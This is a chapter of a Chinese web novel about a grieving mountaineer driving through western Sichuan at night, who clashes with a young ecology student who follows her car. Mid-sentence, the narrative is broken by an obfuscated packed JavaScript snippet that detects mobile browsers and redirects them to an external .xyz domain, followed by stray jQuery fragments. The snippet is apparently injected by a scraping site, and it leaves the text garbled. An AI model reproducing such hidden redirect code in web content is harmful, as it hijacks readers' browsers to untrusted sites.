“95，加满。”
凌晨两点，国道上时不时有大车呼啸而过，凛冽寒风卷起沙石袭来，加油站内的洗车棚被吹得刷拉拉响。
华松栩转向背风，把冲锋衣领紧了紧，带上了帽子。
“哈……”姗姗来迟的小哥扶着油枪打哈欠，水雾随之袅袅升起，“姑娘，怎么这么晚还赶路？”
华松栩目不斜视盯着油表，随口嗯了一声。
显示屏上首位数字缓缓从1涨到了2。
小哥提醒道：“山路晚上开不安全。这离四姑娘山镇不远了，出来旅游嘛，别太着急。”
华松栩瞥了他一眼，嗓音是熬夜后的喑哑，“我不是游客。”
“啊？”小哥一愣，上下打量了半天，“那你这是……”
说来不怪小哥这么想。外地牌照，一身冲锋衣裤，怎么看都像是来自驾的。
小哥也是随口一问闲聊，没冒犯或探究的意思。只是华松栩此刻心情实在欠佳，没有搭话。
女人素白的面庞冷若冰霜，精致好看，但写满了拒人千里之外几个大字。
小哥只得讪讪闭嘴，和她一起专心致志盯油表。
川西的夜晚是荒凉的。小小的加油站像被夜色包围的孤岛，连汽油味都变得温馨起来。
不多时，两束前灯先行一步，紧接着一辆车驶入，缓缓停在华松栩的车后。
她顶着光眯眼，看清是一辆挂着本地牌照的面包车，便收回了视线。
“砰！”
驾驶员下了车，“92，加300，谢谢。”
小哥冲华松栩身后比了个手势，“稍等一下。”
这辆牧马人改了副油箱，95加满得一千三百多块钱，过程是可想而知的漫长。所以稍等一下的一下，那就是五分钟。
好不容易结束，华松栩接过油卡在手里转了转，略微沉吟后还是回答了刚才的问题。
“去上坟。”
“…….啊？”
她忽视掉小哥明显放大的瞳孔和张得能塞下拳头的血盆大口，利落上车一脚油门轰了出去。
一年过去了，在这个信息爆炸的时代，曾引发圈内圈外关注的1228登山山难早已被大众遗忘。
但华松栩忘不了。
她忘不掉雪崩后的满目刺白，忘不掉消失在势不可挡的洪流中那只尚有温度的手，忘不掉全世界只留她独自喘息的死寂，更忘不掉这一年煎熬的每一分每一秒。
此刻距离事故地点车程500公里加徒步35公里，距12月28日时长22小时。
华松栩急，急到昼夜不停从海城开过来，这会全靠一口气吊着。她打了左转向，右手一摸副驾——摸到了一堆咖啡空瓶。
于是，一脸呆滞目视鲜红尾灯的小哥又目视着越野急刹、调头，直冲他开了回来。
车窗降下，华松栩冲他身后一抬下巴，“便利店还有咖啡吗？”
小哥嘴皮子打架，“有……没有，这会没有。”
华松栩蹙眉，“有还是没有？”
小哥补充：“卖完了，补货的车明早才能到。”
明早，那势必来不及。
“周围还有便利店吗？”
“这离下一个加油站有个五六十公里，其他……应该没了。”
五六十公里，国道晚上视线不好，开过去怎么都得一个小时。
华松栩轻吐浊气，压下心头的烦躁低声道谢。
小哥颇有些受宠若惊，摆摆手去给面包车加油了。
她将后脑勺砸进头枕，在心头盘算着时间和距离，良久抹了把脸，还是决定继续出发。
“噔噔——”
驾驶窗从外被敲响。
华松栩扭头，看到的是掩在黑色鸭舌帽下的半张俊脸。
牧马人车高将近一米九，方才她面对加油小哥是居高临下，这会却几乎和男人视线平齐，恰好能看到阴影中那双黑亮的眸子。
华松栩再次降下车窗，神色疏离，“有事？”
冬夜足够冷，寒风打着旋吹进车内，连带睡意一同消弭。但烦躁的情绪过于顽固，拂动面颊的发梢和突如其来的打搅都让人排斥。
男人抬手，对她的防备视若无睹。
“提神醒脑，管用。”
骨节分明的手中，是一袋——
爆辣泡椒凤爪？
华松栩面无表情，唇抿得更紧了些。
“搭配冰镇矿泉水使用，比咖啡劲大。”男人说，“看你挺累，至少一天没合眼吧？”
有人说世界上三样东西无法隐藏，贫穷、咳嗽和爱情。其实还可以增加一样，就是疲惫。
无论华松栩怎么强打精神，眼下的乌青和有些涣散的眼神骗不了人。
与此同时，还有一句至理名言。天下没有免费的午餐。
华松栩掏出烟盒，往唇齿间咬了根烟。
男人指了指上方，“加油站。”
“没点。”华松栩含糊应道，再次扫过那袋凤爪时，注意到了他皲裂的手背。细皮嫩肉的小白手，像蛇纹一样的皴痕着实瞩目。
“你留着吃吧，吃哪补哪。”
男人一哂，“你别误会，就是——”
谁曾想华松栩根本不听，毫不客气地关窗走人。
发动机轰鸣，直到车子并入主路消失在视线，他才吐出卡在嗓子眼的后半句话，“疲劳驾驶危险…….”
“滴，本次加油完成。”
男人叹气，扭头去交钱，边往过走边忍不住翻看自己的手，“像鸡爪吗？”
热心小哥瞄了一眼，严肃摇头，“不像。”
男人：“……谢谢。”
华松栩开出去一公里，点了烟猛吸两口，缓缓吐出烟圈。
远光灯破开浓稠的夜色，蜿蜒的道路上只有她一辆车前行，两旁笔挺的树木由远及近又被远远甩在身后。
要是所有痛苦都能像不断倒退的风景一样就好了，她想。
作为登山运动员，华松栩曾经天天泡在山里，不是挂在岩壁就是踏雪冲顶。这次却是时隔一年——也是山难后第一次进山，着实有些近乡情更怯。
这一年她过得浑浑噩噩。
城市里，时间的边界格外模糊，每天都在无知无觉中重复。直到某一刻回首，只看到了时间流逝后的虚无。
她回忆着，百般滋味涌上心头，直到被后视镜反射的灯光刺了眼。
来车相距不过三米，华松栩略微放慢速度，让出超车空间。
然而，来车也慢了下来。
华松栩挑眉，一脚油门加速，甩出去十几米。
再看后视镜……
好嘛，跟了上来。
华松栩一怒之下，把烟嘴咬扁了。
开着暖风容易酿出睡意，但后车的挑衅行为完美中和，这会她清醒得很。
要说车技，华松栩不敢自夸，但也是泡在藏区开野路山路练出来的。她确认这会两向都没来车，一脚油门刹车甩尾过弯，又一脚油门如利剑般冲了出去。
再看后视镜——又跟上来了。
华松栩：……车技还挺厉害。
二十分钟之内，她开快后车开快，她开慢后车开慢，始终保持不过三米的车距。两车一前一后，像是湖中你追我赶戏水的鸳鸯，暧昧得令人厌烦。
华松栩终于失去了耐心。她点刹将速度降到30，开窗探头向后看了一眼。
这一看——好嘛，是方才加油站的那辆面包车。开这样一辆破车还能跟上她，那男人还有点本事。当然，这点欣赏被邪火压倒性的掩盖了。
方才是无事献殷情非奸即盗。这会是大半夜跟车，跟独行女性的车，更是非奸即盗。
前方不远有一个停车区，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15085096|163571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
华松栩干净利落右转进辅道，开到安全地点后猛刹停车，又从后座底下捞出甩棍，烟头一扔，气势汹汹地下车。
面包车才停稳，华松栩直接拉开车门，一手抓男人领子，另一手的甩棍迅猛横沉在颈间，“你想干什么？！”
昏暗中看不清神情，只能察觉到对方的动作。
男人任由她禁锢自己，甚至配合地举起双手，“你别紧张，我真没别的意思，就是怕你疲劳驾驶。”
华松栩冷嗤，藏不住狠戾，“和你有什么关系？你什么人？”
男人右手一动，华松栩立刻收紧了手，那棍子便直接怼上了他的喉结。
“咳咳咳……”他呛了半晌，艰难出声，“我给你拿身份证和学生证。”
华松栩沉默两秒，以绑匪语气恶狠狠威胁：“拿，老实点！”
男人很老实地从副驾捞起背包递来，“最右侧的小包，你看。”
他态度坦然，把包递过来也是为了降低她的戒心。
华松栩接过，退后三步到面包车侧前方，按照男人说的地方，果然找到了证件。
就着车灯，她看清了身份证上面的字。
徐汀云。
岸芷汀兰的汀。
26岁，京市人。
再看学生证，京大的生态学博士，今年博三。
两寸白底照片上，男生笑容清浅神采奕奕，阳光又朝气蓬勃。
华松栩不得不承认，看起来确实不像什么穷凶极恶之徒。但这并不代表嫌疑全无，谁说帅哥就不会是连环变态杀人犯？
徐汀云从车上下来站定，怕惊到她，绅士地保持着距离，“再往前二十公里开始全是盘山路，一周前下过雪，部分路段有冰。我是怕你疲劳驾驶又不熟悉路况，所以才跟你的车。”
华松栩握着甩棍的手稍松了些，将证件装进背包还了回去。
徐汀云接过，自若道：“你去哪？一会你跟着我开，这儿我熟。”
华松栩后撤半步，还存着警惕，“不用，你走吧。”
徐汀云是被拒绝又被误会，挠了挠头，再次捞出那包凤爪，“那这个你拿着，快天亮的时候最容易困。”
华松栩心想这家凤爪给了你多少代言费，如此敬业。但这会也懒得多说，拧眉催促：“不吃，别多管闲事小弟弟。”
她态度坚决，依然没给好脸色，徐汀云便没再坚持，“那你路上小心。”
华松栩嗯了一声，让到路沿上掏了根烟。
“啪——”
防风火机的火苗笔挺，随即烟尾一点猩红明灭，映在她半垂的眸子中星点璀璨。
徐汀云长腿一伸上了车，最后看了眼女人萧条落寞的侧影，驱车离开了。
果然如徐汀云所说，部分路段还有暗冰。幸好华松栩经验颇为丰富，有惊无险平安通过，赶在第二天中午抵达安县怀远村。
去年来的场景历历在目，她按照记忆找到了择木客栈。
这客栈的老板叫嘉措，老板娘央金。这里往来的也都是户外爱好者。
时隔一年，寒冬路况不好，安全起见华松栩提前联系嘉措当向导带她进山。
她停好车，顾不得四处看看村里的变化，三两步跨上石阶。
“老板在吗？”
藏式建筑红砖被积雪掩映，天地静止，幽远非常。
华松栩不自觉放轻声音，“老板？嘉措？”
拐角出现一个绛红的身影，怀里还抱着一个大纸箱。
华松栩绕过院子里那株遮挡视线的枯树，“您好，老板在——”
这一抬眸，后半句话被迫吞回肚子里。
一阵恰到好处的风吹过，枝桠颤动，白雪倾洒，如冬日落花，在暖阳折射下流光溢彩。
徐汀云着一身藏袍立于屋檐下，眉目深邃，薄唇边笑意清浅，“你找老板，他今天不在。”